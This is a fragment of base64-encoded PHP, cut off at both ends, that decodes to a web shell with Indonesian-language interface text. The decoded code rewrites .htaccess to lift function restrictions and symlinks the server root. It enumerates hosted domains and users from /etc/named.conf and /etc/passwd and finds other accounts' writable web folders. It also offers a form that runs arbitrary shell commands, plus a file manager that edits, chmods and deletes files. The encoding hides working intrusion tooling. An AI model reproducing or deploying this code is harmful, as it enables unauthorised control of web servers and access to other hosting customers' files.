RfY29udGVudHMoImluaS5waHAiLGJhc2U2NF9kZWNvZGUoJGluaXBoKSk7DQoJCWZpbGVfcHV0X2NvbnRlbnRzKCIuaHRhY2Nlc3MiLGJhc2U2NF9kZWNvZGUoJGNvbXApKTsNCgkJZWNobyAiPHNjcmlwdD5hbGVydCgnRGlzYWJsZSBGdW5jdGlvbnMgaW4gTGl0ZXNwZWVkIENyZWF0ZWQnKTsgaGlkZUFsbCgpOzwvc2NyaXB0PiI7DQoJCWVjaG8iPC9jZW50ZXI+IjsNCn0NCg0KfQ0KZWxzZWlmKCRfR0VUWydhJ10gPT0gJ3N5bWxpbmsnKSB7DQokZnVsbCA9IHN0cl9yZXBsYWNlKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10sICIiLCAkcGF0aCk7DQokZDBtYWlucyA9IEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKTsNCiMjaHR0YWNlcw0KaWYoJGQwbWFpbnMpew0KQG1rZGlyKCJrMHYzVF9zeW0iLDA3NzcpOw0KQGNoZGlyKCJrMHYzVF9zeW0iKTsNCkBleGUoImxuIC1zIC8gcm9vdCIpOw0KJGZpbGUzID0gJ09wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcw0KRGlyZWN0b3J5SW5kZXggazB2M1QuaHRtDQpBZGRUeXBlIHRleHQvcGxhaW4gLnBocA0KQWRkSGFuZGxlciB0ZXh0L3BsYWluIC5waHANClNhdGlzZnkgQW55JzsNCiRmcDMgPSBmb3BlbignLmh0YWNjZXNzJywndycpOw0KJGZ3MyA9IGZ3cml0ZSgkZnAzLCRmaWxlMyk7QGZjbG9zZSgkZnAzKTsNCmVjaG8gIjxicj4NCjx0YWJsZSBhbGlnbj1jZW50ZXIgYm9yZGVyPTEgc3R5bGU9J3dpZHRoOjYwJTtib3JkZXItY29sb3I6IzMzMzMzMzsnPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTI+Uy4gTm8uPC9mb250PjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mj5Eb21haW5zPC9mb250PjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mj5Vc2VyczwvZm9udD48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTI+U3ltbGluazwvZm9udD48L3RkPg0KPC90cj4iOw0KJGRjb3VudCA9IDE7DQpmb3JlYWNoKCRkMG1haW5zIGFzICRkMG1haW4pew0KaWYoZXJlZ2koInpvbmUiLCRkMG1haW4pKXtwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTsNCmZsdXNoKCk7DQppZihzdHJsZW4odHJpbSgkZG9tYWluc1sxXVswXSkpID4gMil7DQokdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluc1sxXVswXSkpOw0KZWNobyAiPHRyIGFsaWduPWNlbnRlcj48dGQ+PGZvbnQgc2l6ZT0yPiIgLiAkZGNvdW50IC4gIjwvZm9udD48L3RkPg0KPHRkIGFsaWduPWxlZnQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbWFpbnNbMV1bMF0uIi8+PGZvbnQgY2xhc3M9dHh0PiIuJGRvbWFpbnNbMV1bMF0uIjwvZm9udD48L2E+PC90ZD4NCjx0ZD4iLiR1c2VyWyduYW1lJ10uIjwvdGQ+DQo8dGQ+PGEgaHJlZj0nJGZ1bGwvazB2M1Rfc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbCcgdGFyZ2V0PSdfYmxhbmsnPjxmb250IGNsYXNzPXR4dD5TeW1saW5rPC9mb250PjwvYT48L3RkPjwvdHI+IjsNCmZsdXNoKCk7DQokZGNvdW50Kys7fX19DQplY2hvICI8L3RhYmxlPiI7DQp9ZWxzZXsNCiRURVNUPUBmaWxlKCcvZXRjL3Bhc3N3ZCcpOw0KaWYgKCRURVNUKXsNCkBta2RpcigiazB2M1Rfc3ltIiwwNzc3KTsNCkBjaGRpcigiazB2M1Rfc3ltIik7DQpleGUoImxuIC1zIC8gcm9vdCIpOw0KJGZpbGUzID0gJ09wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcw0KRGlyZWN0b3J5SW5kZXggazB2M1QuaHRtDQpBZGRUeXBlIHRleHQvcGxhaW4gLnBocA0KQWRkSGFuZGxlciB0ZXh0L3BsYWluIC5waHANClNhdGlzZnkgQW55JzsNCiAkZnAzID0gZm9wZW4oJy5odGFjY2VzcycsJ3cnKTsNCiAkZnczID0gZndyaXRlKCRmcDMsJGZpbGUzKTsNCiBAZmNsb3NlKCRmcDMpOw0KIGVjaG8gIg0KIDx0YWJsZSBhbGlnbj1jZW50ZXIgYm9yZGVyPTE+PHRyPg0KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlMuIE5vLjwvZm9udD48L3RkPg0KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlVzZXJzPC9mb250PjwvdGQ+DQogPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTM+U3ltbGluazwvZm9udD48L3RkPjwvdHI+IjsNCiAkZGNvdW50ID0gMTsNCiAkZmlsZSA9IGZvcGVuKCIvZXRjL3Bhc3N3ZCIsICJyIikgb3IgZXhpdCgiVW5hYmxlIHRvIG9wZW4gZmlsZSEiKTsNCiB3aGlsZSghZmVvZigkZmlsZSkpew0KICRzID0gZmdldHMoJGZpbGUpOw0KICRtYXRjaGVzID0gYXJyYXkoKTsNCiAkdCA9IHByZWdfbWF0Y2goJy9cLyguKj8pXDpcLy9zJywgJHMsICRtYXRjaGVzKTsNCiAkbWF0Y2hlcyA9IHN0cl9yZXBsYWNlKCJob21lLyIsIiIsJG1hdGNoZXNbMV0pOw0KIGlmKHN0cmxlbigkbWF0Y2hlcykgPiAxMiB8fCBzdHJsZW4oJG1hdGNoZXMpID09IDAgfHwgJG1hdGNoZXMgPT0gImJpbiIgfHwgJG1hdGNoZXMgPT0gImV0Yy9YMTEvZnMiIHx8ICRtYXRjaGVzID09ICJ2YXIvbGliL25mcyIgfHwgJG1hdGNoZXMgPT0gInZhci9hcnB3YXRjaCIgfHwgJG1hdGNoZXMgPT0gInZhci9nb3BoZXIiIHx8ICRtYXRjaGVzID09ICJzYmluIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2FkbSIgfHwgJG1hdGNoZXMgPT0gInVzci9nYW1lcyIgfHwgJG1hdGNoZXMgPT0gInZhci9mdHAiIHx8ICRtYXRjaGVzID09ICJldGMvbnRwIiB8fCAkbWF0Y2hlcyA9PSAidmFyL3d3dyIgfHwgJG1hdGNoZXMgPT0gInZhci9uYW1lZCIpDQogY29udGludWU7DQogZWNobyAiPHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0yPiIgLiAkZGNvdW50IC4gIjwvdGQ+DQogPHRkIGFsaWduPWNlbnRlcj48Zm9udCBjbGFzcz10eHQ+IiAuICRtYXRjaGVzIC4gIjwvdGQ+IjsNCiBlY2hvICI8dGQgYWxpZ249Y2VudGVyPjxmb250IGNsYXNzPXR4dD48YSBocmVmPSRmdWxsL2swdjNUX3N5bS9yb290L2hvbWUvIiAuICRtYXRjaGVzIC4gIi9wdWJsaWNfaHRtbCB0YXJnZXQ9J19ibGFuayc+U3ltbGluazwvYT48L3RkPjwvdHI+IjsNCiAkZGNvdW50Kys7fWZjbG9zZSgkZmlsZSk7DQogZWNobyAiPC90YWJsZT4iO31lbHNle2lmKCRvcyAhPSAiV2luZG93cyIpe0Bta2RpcigiazB2M1Rfc3ltIiwwNzc3KTtAY2hkaXIoImswdjNUX3N5bSIpO0BleGUoImxuIC1zIC8gcm9vdCIpOyRmaWxlMyA9ICcNCiBPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MNCkRpcmVjdG9yeUluZGV4IGswdjNULmh0bQ0KQWRkVHlwZSB0ZXh0L3BsYWluIC5waHANCkFkZEhhbmRsZXIgdGV4dC9wbGFpbiAucGhwDQpTYXRpc2Z5IEFueQ0KJzsNCiAkZnAzID0gZm9wZW4oJy5odGFjY2VzcycsJ3cnKTsNCiAkZnczID0gZndyaXRlKCRmcDMsJGZpbGUzKTtAZmNsb3NlKCRmcDMpOw0KIGVjaG8gIg0KIDxkaXYgY2xhc3M9J215Ym94Jz48aDIgY2xhc3M9J2sybGwzM2QyJz5zZXJ2ZXIgc3ltbGlua2VyPC9oMj4NCiA8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xPjx0cj4NCiA8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mz5JRDwvZm9udD48L3RkPg0KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlVzZXJzPC9mb250PjwvdGQ+DQogPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTM+U3ltbGluazwvZm9udD48L3RkPjwvdHI+IjsNCiAkdGVtcCA9ICIiOyR2YWwxID0gMDskdmFsMiA9IDEwMDA7DQogZm9yKDskdmFsMSA8PSAkdmFsMjskdmFsMSsrKSB7JHVpZCA9IEBwb3NpeF9nZXRwd3VpZCgkdmFsMSk7DQogaWYgKCR1aWQpJHRlbXAgLj0gam9pbignOicsJHVpZCkuIlxuIjt9DQogZWNobyAnPGJyLz4nOyR0ZW1wID0gdHJpbSgkdGVtcCk7JGZpbGU1ID0NCiBmb3BlbigidGVzdC50eHQiLCJ3Iik7DQogZnB1dHMoJGZpbGU1LCR0ZW1wKTsNCiBmY2xvc2UoJGZpbGU1KTskZGNvdW50ID0gMTskZmlsZSA9DQogZm9wZW4oInRlc3QudHh0IiwgInIiKSBvciBleGl0KCJVbmFibGUgdG8gb3BlbiBmaWxlISIpOw0KIHdoaWxlKCFmZW9mKCRmaWxlKSl7JHMgPSBmZ2V0cygkZmlsZSk7JG1hdGNoZXMgPSBhcnJheSgpOw0KICR0ID0gcHJlZ19tYXRjaCgnL1wvKC4qPylcOlwvL3MnLCAkcywgJG1hdGNoZXMpOyRtYXRjaGVzID0gc3RyX3JlcGxhY2UoImhvbWUvIiwiIiwkbWF0Y2hlc1sxXSk7DQogaWYoc3RybGVuKCRtYXRjaGVzKSA+IDEyIHx8IHN0cmxlbigkbWF0Y2hlcykgPT0gMCB8fCAkbWF0Y2hlcyA9PSAiYmluIiB8fCAkbWF0Y2hlcyA9PSAiZXRjL1gxMS9mcyIgfHwgJG1hdGNoZXMgPT0gInZhci9saWIvbmZzIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2FycHdhdGNoIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2dvcGhlciIgfHwgJG1hdGNoZXMgPT0gInNiaW4iIHx8ICRtYXRjaGVzID09ICJ2YXIvYWRtIiB8fCAkbWF0Y2hlcyA9PSAidXNyL2dhbWVzIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2Z0cCIgfHwgJG1hdGNoZXMgPT0gImV0Yy9udHAiIHx8ICRtYXRjaGVzID09ICJ2YXIvd3d3IiB8fCAkbWF0Y2hlcyA9PSAidmFyL25hbWVkIikNCiBjb250aW51ZTsNCiBlY2hvICI8dHI+PHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTI+IiAuICRkY291bnQgLiAiPC90ZD4NCiA8dGQgYWxpZ249Y2VudGVyPjxmb250IGNsYXNzPXR4dD4iIC4gJG1hdGNoZXMgLiAiPC90ZD4iOw0KIGVjaG8gIjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgY2xhc3M9dHh0PjxhIGhyZWY9JGZ1bGwvazB2M1Rfc3ltL3Jvb3QvaG9tZS8iIC4gJG1hdGNoZXMgLiAiL3B1YmxpY19odG1sIHRhcmdldD0nX2JsYW5rJz5TeW1saW5rPC9hPjwvdGQ+PC90cj4iOw0KICRkY291bnQrKzt9DQogZmNsb3NlKCRmaWxlKTsNCiBlY2hvICI8L3RhYmxlPjwvZGl2PjwvY2VudGVyPiI7dW5saW5rKCJ0ZXN0LnR4dCIpOw0KIH0gZWxzZQ0KIGVjaG8gIjxjZW50ZXI+PGZvbnQgc2l6ZT0zPkNhbm5vdCBjcmVhdGUgU3ltbGluazwvZm9udD48L2NlbnRlcj4iOw0KIH0NCiB9DQojI0pVTVBJTkcgDQp9IGVsc2VpZigkX0dFVFsnYSddID09ICdqdW1waW5nJykgew0KICAgICRpID0gMDsNCiAgICBlY2hvICI8cHJlPjxkaXYgY2xhc3M9J21hcmdpbjogNXB4IGF1dG87Jz4iOw0KICAgICRldGMgPSBmb3BlbigiL2V0Yy9wYXNzd2QiLCAiciIpIG9yIGRpZSgiPGZvbnQgY29sb3I9cmVkPkNhbid0IHJlYWQgL2V0Yy9wYXNzd2Q8L2ZvbnQ+Iik7DQogICAgd2hpbGUoJHBhc3N3ZCA9IGZnZXRzKCRldGMpKSB7DQppZigkcGFzc3dkID09ICcnIHx8ICEkZXRjKSB7DQogICAgZWNobyAiPGZvbnQgY29sb3I9cmVkPkNhbid0IHJlYWQgL2V0Yy9wYXNzd2Q8L2ZvbnQ+IjsNCn0gZWxzZSB7DQogICAgcHJlZ19tYXRjaF9hbGwoJy8oLio/KTp4Oi8nLCAkcGFzc3dkLCAkdXNlcl9qdW1waW5nKTsNCiAgICBmb3JlYWNoKCR1c2VyX2p1bXBpbmdbMV0gYXMgJHVzZXJfaWR4X2p1bXApIHsNCiAgICAgICAgJHVzZXJfanVtcGluZ19kaXIgPSAiL2hvbWUvJHVzZXJfaWR4X2p1bXAvcHVibGljX2h0bWwiOw0KICAgICAgICBpZihpc19yZWFkYWJsZSgkdXNlcl9qdW1waW5nX2RpcikpIHsNCiAgICAgICAgICAgICRpKys7DQogICAgICAgICAgICAkanJ3ID0gIls8Zm9udCBjb2xvcj0jNWRkY2ZjPlI8L2ZvbnQ+XSA8YSBocmVmPSc/ZGlyPSR1c2VyX2p1bXBpbmdfZGlyJz48Zm9udCBjb2xvcj1yZWQ+JHVzZXJfanVtcGluZ19kaXI8L2ZvbnQ+PC9hPiI7DQogICAgICAgICAgICBpZihpc193cml0YWJsZSgkdXNlcl9qdW1waW5nX2RpcikpIHsNCiAgICAgICAgICAgICAgICAkanJ3ID0gIls8Zm9udCBjb2xvcj0jNWRkY2ZjPlJXPC9mb250Pl0gPGEgaHJlZj0nP2Rpcj0kdXNlcl9qdW1waW5nX2Rpcic+PGZvbnQgY29sb3I9IzVkZGNmYz4kdXNlcl9qdW1waW5nX2RpcjwvZm9udD48L2E+IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gJGpydzsNCiAgICAgICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgew0KICAgICAgICAgICAgICAgICRkb21haW5fanVtcCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL25hbWVkLmNvbmYiKTsgICANCiAgICAgICAgICAgICAgICBpZigkZG9tYWluX2p1bXAgPT0gJycpIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiID0+ICggPGZvbnQgY29sb3I9cmVkPmdhZ2FsIG1lbmdhbWJpbCBuYW1hIGRvbWFpbiBueWE8L2ZvbnQ+ICk8YnI+IjsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICBwcmVnX21hdGNoX2FsbCgiIy92YXIvbmFtZWQvKC4qPykuZGIjIiwgJGRvbWFpbl9qdW1wLCAkZG9tYWluc19qdW1wKTsNCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkZG9tYWluc19qdW1wWzFdIGFzICRkaikgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHVzZXJfanVtcGluZ191cmwgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyRkaiIpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICR1c2VyX2p1bXBpbmdfdXJsID0gJHVzZXJfanVtcGluZ191cmxbJ25hbWUnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR1c2VyX2p1bXBpbmdfdXJsID09ICR1c2VyX2lkeF9qdW1wKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiID0+ICggPHU+JGRqPC91PiApPGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gIjxicj4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KfQ0KICAgIH0NCiAgICBpZigkaSA9PSAwKSB7DQogICAgfSBlbHNlIHsNCmVjaG8gIjxicj5Ub3RhbCBhZGEgIi4kaS4iIEthbWFyIGRpICIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLiIiOw0KICAgIA0KICAgIGVjaG8gIjwvZGl2PjwvcHJlPiI7DQoJCX0NCg0KDQoNCi8vQ09ORklHDQoNCn0gZWxzZWlmKCRfR0VUWydhJ10gPT0gJ2NtZCcpIHsNCgllY2hvICI8Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCTxmb250IHN0eWxlPSd0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsnPiIuJHVzZXIuIkAiLiRpcC4iOiB+ICQgPC9mb250Pg0KCTxpbnB1dCB0eXBlPSd0ZXh0JyBzaXplPSczMCcgaGVpZ2h0PScxMCcgbmFtZT0nY21kJz48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdkb19jbWQnIHZhbHVlPSc+Pic+DQoJPC9mb3JtPiI7DQoJaWYoJF9QT1NUWydkb19jbWQnXSkgew0KCQllY2hvICI8cHJlPiIuZXhlKCRfUE9TVFsnY21kJ10pLiI8L3ByZT4iOw0KCX0NCg0KLy9TVEFSVA0KfSBlbHNlaWYoaXNzZXQoJF9HRVRbJ2ZpbGVzcmMnXSkpew0KZWNobyAiPHRyPjx0ZD5DdXJyZW50IEZpbGUgOiAiOw0KZWNobyAkX0dFVFsnZmlsZXNyYyddOw0KZWNobyAnPC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCmVjaG8oJyA8Y2VudGVyPjx0ZXh0YXJlYSBzdHlsZT0id2lkdGg6ODAlO2hlaWdodDo1MCU7IiByZWFkb25seT4gJy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfR0VUWydmaWxlc3JjJ10pKS4nPC90ZXh0YXJlYT48L2NlbnRlcj4nKTsNCn1lbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddICE9ICdkZWxldGUnKXsNCmVjaG8gJzwvdGFibGU+PGJyIC8+Jy4kX1BPU1RbJ3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsNCmlmKCRfUE9TVFsnb3B0J10gPT0gJ2NobW9kJyl7DQppZihpc3NldCgkX1BPU1RbJ3Blcm0nXSkpew0KaWYoY2htb2QoJF9QT1NUWydwYXRoJ10sJF9QT1NUWydwZXJtJ10pKXsNCmVjaG8gJzxmb250IGNvbG9yPSIjNWRkY2ZjIj5HYW50aSAgUGVybWlzc2lvbiBCZXJoYXNpbCBHYW48L2ZvbnQ+PGJyIC8+JzsNCn1lbHNlew0KZWNobyAnPGZvbnQgY29sb3I9IlJFRCI+R2FudGkgUGVybWlzc2lvbiBHYWdhbCBHYW48L2ZvbnQ+PGJyIC8+JzsNCn0NCn0NCmVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQpQZXJtaXNzaW9uIDogPGlucHV0IG5hbWU9InBlcm0iIHR5cGU9InRleHQiIHNpemU9IjQiIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3BhdGgnXSkpLCAtNCkuJyIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iY2htb2QiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNobW9kIiAvPg0KPC9mb3JtPic7DQp9ZWxzZWlmKCRfUE9TVFsnb3B0J10gPT0gJ3JlbmFtZScpew0KaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCmlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCmVjaG8gJzxmb250IGNvbG9yPSIjNWRkY2ZjIj5HYW50aSBOYW1hIEJlcmhhc2lsIEdhbjwvZm9udD48YnIgLz4nOw0KfWVsc2V7DQplY2hvICc8Zm9udCBjb2xvcj0iUkVEIj5HYW50aSBOYW1hIEdhZ2FsIEdhbjwvZm9udD48YnIgLz4nOw0KfQ0KJF9QT1NUWyduYW1lJ10gPSAkX1BPU1RbJ25ld25hbWUnXTsNCn0NCmVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQpOYW1hIEJhcnUgOiA8aW5wdXQgbmFtZT0ibmV3bmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIHZhbHVlPSInLiRfUE9TVFsnbmFtZSddLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVWJhaCBOYW1hIiAvPg0KPC9mb3JtPic7DQp9ZWxzZWlmKCRfUE9TVFsnb3B0J10gPT0gJ2VkaXQnKXsNCmlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsNCiRmcCA9IGZvcGVuKCRfUE9TVFsncGF0aCddLCd3Jyk7DQppZihmd3JpdGUoJGZwLCRfUE9TVFsnc3JjJ10pKXsNCmVjaG8gJzxmb250IGNvbG9yPSIjNWRkY2ZjIj5FZGl0IEZpbGUgQmVyaGFzaWwgR2FuPC9mb250PjxiciAvPic7DQp9ZWxzZXsNCmVjaG8gJzxmb250IGNvbG9yPSJSRUQiPkVkaXQgRmlsZSBHYWdhbCBHYW48L2ZvbnQ+PGJyIC8+JzsNCn0NCmZjbG9zZSgkZnApOw0KfQ0KZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4NCjx0ZXh0YXJlYSBjb2xzPTE0MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVkaXQgRmlsZSIgLz4NCjwvZm9ybT4nOw0KfQ0KZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPic7DQppZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2Rpcicpew0KaWYocm1kaXIoJF9QT1NUWydwYXRoJ10pKXsNCmVjaG8gJzxmb250IGNvbG9yPSIjNWRkY2ZjIj5IYXB1cyBEaXIgQmVyaGFzaWwgR2FuPC9mb250PjxiciAvPic7DQp9ZWxzZXsNCmVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkhhcHVzIERpciBHYWdhbCBHYW48L2ZvbnQ+PGJyIC8+JzsNCn0NCn1lbHNlaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsNCmlmKHVubGluaygkX1BPU1RbJ3BhdGgnXSkpew0KZWNobyAnPGZvbnQgY29sb3I9IiM1ZGRjZmMiPkhhcHVzIEZpbGUgQmVyaGFzaWwgR2FuPC9mb250PjxiciAvPic7DQp9ZWxzZXsNCmVjaG8gJzxmb250IGNvbG9yPSIjcmVkIj5IYXB1cyBGaWxlIEdhZ2FsIEdhbjwvZm9udD48YnIgLz4nOw0KfQ0KfQ0KfQ0KCQkNCmVjaG8gJzwvY2VudGVyPic7DQokc2NhbmRpciA9IHNjYW5kaXIoJHBhdGgpOw0KZWNobyAnPGRpdiBpZD0iY29udGVudCI+PHRhYmxlIHdpZHRoPSI3MDBweCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iNCIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPg0KPHRyIGNsYXNzPSJmaXJzdCI+DQo8Yj48dGQ+PGNlbnRlcj48Zm9udCBjb2xvcj1ibGFjayBzaXplPTM+TmFtZTwvZm9udD48L2NlbnRlcj48L3RkPjwvYj4NCjxiPjx0ZD48Y2VudGVyPjxmb250IGNvbG9yPWJsYWNrIHNpemU9Mz5TaXplPC9mb250PjwvY2VudGVyPjwvdGQ+PC9iPg0KPGI+PHRkPjxjZW50ZXI+PGZvbnQgY29sb3I9YmxhY2sgc2l6ZT0zPlBlcm1pc3Npb25zPC9mb250PjwvY2VudGVyPjwvdGQ+PC9iPg0KPGI+PHRkPjxjZW50ZXI+PGZvbnQgY29sb3I9YmxhY2sgc2l6ZT0zPk9wdGlvbnM8L2ZvbnQ+PC9jZW50ZXI+PC90ZD48L2I+DQo8L3RyPic7DQoNCmZvcmVhY2goJHNjYW5kaXIgYXMgJGRpcil7DQppZighaXNfZGlyKCIkcGF0aC8kZGlyIikgfHwgJGRpciA9PSAnLicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsNCmVjaG8gIjx0ZCBjbGFzcz0ndGRfaG9tZSc+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxSMGxHT0RsaEV3QVFBTE1BQUFBQUFQLy8vNXljQU03T1kvLy9uUC8venYvT25QZjM5Ly8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4iQUFBQUFDSDVCQUVBQUFnQUxBQUFBQUFUQUJBQUFBUlJFTWxKcTcwNDZ5cDZCeHNpSEVWQkVBS1lDVVByRHA3SGxYUmRFb01xQ2VicCIuIi80WWNoZmZ6R1FoSDRZUllQQjJET2xIUGlLd3FkMVBxOHlyVlZnM1FZZUg1UllLNXJKZmFGVVVBM3ZCNGZCSUJBRHM9Jz4NCjxhIGhyZWY9XCI/cGF0aD0kcGF0aC8kZGlyXCI+PGZvbnQgY29sb3I9cmVkPiRkaXI8L2ZvbnQ+PC9hPjwvdGQ+DQo8dGQ+PGNlbnRlcj48Zm9udCBjb2xvcj1yZWQ+RGlyZWN0b3J5PC9mb250PjwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj4iOw0KCQ0KaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9IiM1ZGRjZmMiPic7DQplbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQplY2hvIHBlcm1zKCIkcGF0aC8kZGlyIik7DQppZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2ZvbnQ+JzsNCg0KZWNobyAiPC9jZW50ZXI+PC90ZD4NCjx0ZD48Y2VudGVyPjxmb3JtIG1ldGhvZD1cIlBPU1RcIiBhY3Rpb249XCI/b3B0aW9uJnBhdGg9JHBhdGhcIj4NCjxzZWxlY3QgbmFtZT1cIm9wdFwiPg0KPG9wdGlvbiB2YWx1ZT1cIlNlbGVjdFwiPlNlbGVjdDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT1cImRlbGV0ZVwiPkRlbGV0ZTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT1cImNobW9kXCI+Q2htb2Q8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJyZW5hbWVcIj5SZW5hbWU8L29wdGlvbj4NCjwvc2VsZWN0Pg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZGlyXCI+DQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIkZGlyXCI+DQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIkcGF0aC8kZGlyXCI+DQo8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiPlwiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+PC90ZD4NCjwvdHI+IjsNCn0NCmVjaG8gJzx0ciBjbGFzcz0iZmlyc3QiPjx0ZD48L3RkPjx0